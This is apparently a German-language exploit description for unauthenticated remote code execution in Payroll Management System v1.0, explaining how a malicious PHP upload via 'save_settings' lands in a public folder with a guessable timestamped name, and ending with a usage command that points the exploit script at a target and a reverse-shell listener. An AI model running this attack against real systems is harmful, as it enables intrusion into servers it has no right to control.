
Exploit für nicht authentifizierte Remote-Codeausführung im Payroll Management System v1.0 über bösartigen Datei-Upload, mit Dateinamen-Vorhersage und Reverse-Shell-Fähigkeit.

RCE über Dateiupload für https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html. Die Dateinamen erhalten einen Zeitstempel mit einer Genauigkeit von einer Minute. Das Skript versucht, den Dateinamen anhand des Zeitstempels der aktuellen, vorherigen und nächsten Minute zu erraten.
Payroll Management System v1.0 erlaubt es Benutzern, Bilder über die Seite „save_settings" hochzuladen. Ein nicht authentifizierter Angreifer kann diese Funktionalität ausnutzen, um stattdessen eine bösartige PHP-Datei hochzuladen. Die hochgeladenen Dateien werden in einem öffentlich zugänglichen Ordner gespeichert und erhalten einen Zeitstempel mit Minutenpräzision im Dateinamen, der leicht berechnet werden kann. Eine erfolgreiche Ausnutzung dieser Schwachstelle ermöglicht es, beliebigen Code mit den Rechten des Benutzers auszuführen, unter dem der Webserver läuft.
python3 exploit.py -rhost somewebsite.com -rport 443 -lhost 192.168.22.23 -lport 443 -https
